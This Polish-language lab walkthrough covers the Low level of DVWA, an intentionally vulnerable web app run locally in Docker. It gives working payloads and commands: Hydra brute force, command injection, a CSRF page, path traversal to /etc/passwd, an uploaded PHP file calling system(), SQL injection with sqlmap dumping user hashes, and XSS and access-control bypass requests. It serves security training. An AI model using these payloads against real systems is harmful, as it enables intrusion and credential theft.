1. Przygotowanie środowiska
Najwygodniej uruchomić DVWA lokalnie przez Docker. W przykładach zakładany jest adres http://127.0.0.1:4280 oraz domyślne konto admin/password.
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker compose up -d
export DVWA=”http://127.0.0.1:4280″
Na Kali Linux zainstaluj podstawowe narzędzia używane w ćwiczeniach:
sudo apt update
sudo apt install -y burpsuite curl jq hydra sqlmap wfuzz ffuf netcat-traditional gobuster nikto seclists
Ustawianie poziomu trudności w DVWA:
DVWA Security → Low / Medium / High / Impossible
Praca z Burp Suite
- Uruchom Burp Suite.
- Wejdź w Browser → Open browser.
- Otwórz http://127.0.0.1:4280 i zaloguj się do DVWA.
- Każde istotne żądanie wysyłaj do Repeater.
- Modyfikuj parametry i obserwuj różnice w odpowiedziach HTTP.
| Wskazówka: W poleceniach curl/hydra zamień PHPSESSID=TU_WSTAW_SESJE na rzeczywistą wartość sesji skopiowaną z Burp lub narzędzi developerskich przeglądarki. |
2. Poziom Low / Easy
Na poziomie Low celem jest zrozumienie mechaniki podatności bez istotnych zabezpieczeń aplikacyjnych. W tym etapie warto wykonywać testy manualnie, a dopiero potem automatyzować je narzędziami Kali.
2.1 Brute Force — brute
- Wejdź w Vulnerability: Brute Force.
- Wpisz testowo username=admin oraz password=test.
- Przechwyć żądanie w Burp i wyślij je do Intruder.
- Oznacz parametr password jako payload position.
123456
admin
password
qwerty
letmein
- Uruchom atak i porównuj długość odpowiedzi lub szukaj tekstu Welcome to the password protected area.
- Alternatywnie użyj Hydra z małą listą haseł laboratoryjnych.
cat > /tmp/dvwa-pass.txt << 'EOF’
123456
admin
password
qwerty
letmein
EOF
hydra -l admin -P /tmp/dvwa-pass.txt 127.0.0.1 -s 4280 http-get-form „/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=TU_WSTAW_SESJE”
2.2 Command Injection — exec
- Wejdź w Vulnerability: Command Injection.
- Wpisz poprawny adres 127.0.0.1 i potwierdź, że aplikacja wykonuje ping.
- Użyj separatora poleceń, aby dołączyć bezpieczną komendę diagnostyczną.
127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a
127.0.0.1; pwd
127.0.0.1; ls -la
- Przez curl możesz powtórzyć test następująco:
curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/exec/” –data-urlencode „ip=127.0.0.1; id” -d „Submit=Submit”
2.3 CSRF — csrf
- Wejdź w Vulnerability: CSRF.
- Zmień hasło testowo na test123/test123 i przechwyć żądanie w Burp.
- Zauważ, że żądanie zmiany hasła może być zwykłym GET-em zawierającym nowe hasło w parametrze.
- Przygotuj lokalny plik HTML inicjujący żądanie w kontekście zalogowanej sesji.
cat > csrf-dvwa-low.html << 'EOF’
<html>
<body>
<h1>DVWA CSRF Low</h1>
<img src=”http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change”>
</body>
</html>
EOF
- Otwórz plik w tej samej przeglądarce, w której jesteś zalogowany do DVWA.
- Potwierdź zmianę hasła, a następnie przywróć hasło password.
2.4 File Inclusion — fi
- Wejdź w Vulnerability: File Inclusion.
- Kliknij jeden z linków typu ?page=file1.php.
- Zmień parametr page na ścieżkę wychodzącą poza katalog aplikacji.
http://127.0.0.1:4280/vulnerabilities/fi/?page=../../../../../../etc/passwd
- Jeżeli działa, zobaczysz zawartość /etc/passwd.
- Test przez curl:
curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd”
2.5 File Upload — upload
- Utwórz prosty plik PHP wykonujący bezpieczne komendy diagnostyczne.
cat > lab.php << 'EOF’
<?php
echo „<pre>”;
echo „DVWA upload lab
„;
echo „User: „;
system(„whoami”);
echo „
ID: „;
system(„id”);
echo „</pre>”;
?>
EOF
- Wejdź w Vulnerability: File Upload i wgraj lab.php.
- Otwórz zwykle generowaną ścieżkę /hackable/uploads/lab.php.
- Po ćwiczeniu usuń plik z kontenera.
docker compose ps
docker compose exec web rm -f /var/www/html/hackable/uploads/lab.php
2.6 Insecure CAPTCHA — captcha
- Wejdź w Vulnerability: Insecure CAPTCHA.
- Wpisz nowe hasło i przechwyć żądanie w Burp.
- Wyślij żądanie do Repeater.
- Usuń albo zmodyfikuj parametry CAPTCHA i wyślij żądanie ponownie.
- Jeżeli hasło zostanie zmienione mimo braku realnej walidacji CAPTCHA, podatność jest potwierdzona.
POST /vulnerabilities/captcha/
password_new=test123
password_conf=test123
Change=Change
2.7 SQL Injection — sqli
- Wejdź w Vulnerability: SQL Injection.
- Wpisz 1 i potwierdź normalną odpowiedź.
- Wpisz 1′ i sprawdź, czy aplikacja ujawnia błąd SQL.
- Użyj klasycznego payloadu zwracającego wiele rekordów.
1′ OR '1’=’1
- Sprawdź liczbę kolumn.
1′ ORDER BY 1– –
1′ ORDER BY 2– –
1′ ORDER BY 3– –
- Jeżeli są dwie kolumny, użyj UNION.
1′ UNION SELECT user,password FROM users– –
- Automatyzacja sqlmap:
sqlmap -u „$DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id –batch –dbs
sqlmap -u „$DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id -D dvwa -T users –dump –batch
2.8 SQL Injection Blind — sqli_blind
- Wejdź w Vulnerability: SQL Injection Blind.
- Wpisz 1 i zapamiętaj odpowiedź pozytywną.
- Porównaj warunek prawdziwy i fałszywy.
1′ AND '1’=’1
1′ AND '1’=’2
- Sprawdź długość nazwy bazy i pierwszy znak.
1′ AND LENGTH(database())=4– –
1′ AND SUBSTRING(database(),1,1)=’d’– –
- Automatyzacja sqlmap:
sqlmap -u „$DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id –batch –dbs
sqlmap -u „$DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit” –cookie=”security=low; PHPSESSID=TU_WSTAW_SESJE” -p id -D dvwa -T users –dump –batch
2.9 Weak Session IDs — weak_id
- Wejdź w Vulnerability: Weak Session IDs.
- Kliknij Generate kilka razy.
- W Burp przejdź do Proxy → HTTP history i sprawdź nagłówki Set-Cookie.
- Jeżeli wartości rosną sekwencyjnie albo są przewidywalne, podatność jest potwierdzona.
for i in {1..5}; do
curl -i -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/weak_id/” | grep -i „Set-Cookie”
done
2.10 XSS Reflected — xss_r
- Wejdź w Vulnerability: XSS Reflected.
- Wpisz payload diagnostyczny.
<script>alert(1)</script>
<script>alert(document.domain)</script>
- Jeżeli pojawi się alert, podatność działa.
- Wariant przez URL powinien być zakodowany URL-encodingiem.
http://127.0.0.1:4280/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E
2.11 XSS Stored — xss_s
- Wejdź w Vulnerability: XSS Stored.
- W polu Name wpisz test.
- W polu Message wpisz payload.
<script>alert(’stored’)</script>
- Zapisz wpis i odśwież stronę.
- Jeżeli alert pojawia się automatycznie, XSS jest persistent/stored.
- Po ćwiczeniu wyczyść guestbook przyciskiem w DVWA.
2.12 XSS DOM — xss_d
- Wejdź w Vulnerability: XSS DOM.
- Zobacz parametr default w URL.
- Zmień go na payload zamykający bieżący kontekst HTML.
English</option></select><script>alert(1)</script>
- Zakodowany wariant URL:
?default=English%3C/option%3E%3C/select%3E%3Cscript%3Ealert(1)%3C/script%3E
2.13 CSP Bypass — csp
- Wejdź w Vulnerability: CSP Bypass.
- W Burp sprawdź nagłówek Content-Security-Policy.
- Na poziomie Low zbadaj, jakie źródła skryptów są dopuszczone przez CSP.
- W polu URL podaj skrypt z domeny dopuszczonej przez CSP.
- Potwierdź wykonanie przez alert albo wpis w konsoli.
2.14 JavaScript — javascript
- Wejdź w Vulnerability: JavaScript.
- Otwórz DevTools → Sources.
- Znajdź funkcję generowania tokenu po stronie klienta.
- W Low logika sprowadza się do operacji po stronie klienta, np. ROT13 i MD5.
md5(rot13(document.getElementById(„phrase”).value))
document.getElementById(„token”).value = md5(rot13(document.getElementById(„phrase”).value))
- Wyślij formularz z poprawnie ustawionym tokenem.
2.15 Open HTTP Redirect — open_redirect
- Wejdź w Vulnerability: Open HTTP Redirect.
- Kliknij Quote 1 i przechwyć żądanie.
- Znajdź parametr redirect.
- Zmień cel przekierowania na zewnętrzny adres testowy.
- Jeżeli przeglądarka zostanie przekierowana poza DVWA, podatność jest potwierdzona.
2.16 API Security — api
- Wejdź w Vulnerability: API Security.
- Otwórz DevTools → Network i odśwież stronę.
- Znajdź żądanie API pobierające użytkowników i skopiuj je jako curl.
- Sprawdź endpointy użytkowników.
curl -s „$DVWA/vulnerabilities/api/v2/user/” | jq
curl -s „$DVWA/vulnerabilities/api/v1/user/” | jq
- Celem Low jest znalezienie wersji lub odpowiedzi ujawniającej dodatkowe informacje, np. hashe haseł.
2.17 Authorisation Bypass — authbypass
- Wyloguj się z admina i zaloguj jako użytkownik testowy, np. gordonb / abc123.
- Wejdź na /vulnerabilities/authbypass/.
- Otwórz DevTools → Network i zobacz wywołania get_user_data.php oraz change_user_details.php.
- Spróbuj bezpośrednio pobrać dane.
curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/authbypass/get_user_data.php” | jq
- Spróbuj zmienić dane innego użytkownika przez POST JSON.
curl -s -X POST -b „security=low; PHPSESSID=TU_WSTAW_SESJE” -H „Content-Type: application/json” -d '{„id”:1,”first_name”:”Lab”,”surname”:”AdminChanged”}’ „$DVWA/vulnerabilities/authbypass/change_user_details.php” | jq
- Jeżeli backend przyjmuje zmianę bez poprawnej autoryzacji roli, podatność jest potwierdzona.
2.18 Broken Access Control — bac
- Wejdź w Vulnerability: Broken Access Control.
- Sprawdź URL i parametry, np. action=view&user_id=1.
- Zmieniaj user_id na 2, 3 itd.
- W Burp modyfikuj także cookie user_id i user_role.
curl -s -b „security=low; PHPSESSID=TU_WSTAW_SESJE; user_id=2; user_role=admin” „$DVWA/vulnerabilities/bac/?action=view&user_id=2”
- Jeżeli widzisz profil innego użytkownika, podatność jest potwierdzona.
2.19 Cryptography — cryptography
- Wejdź w Vulnerability: Cryptography.
- Na Low skopiuj przechwyconą wiadomość Base64.
Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=
- Użyj pola Encode or Decode na stronie do testowania znanych tekstów.
- Zbadaj Base64/XOR prostym skryptem Pythona.
python3 – << 'PY’
import base64
c = „Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=”
raw = base64.b64decode(c)
print(raw)
print(raw.hex())
PY Wniosek: własna kryptografia oraz samo Base64 nie zapewniają poufności.
KSZ:
Jako root wykonac:
1 apt update
2 wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
3 apt update
4 apt install dvwa
5 dvwa-start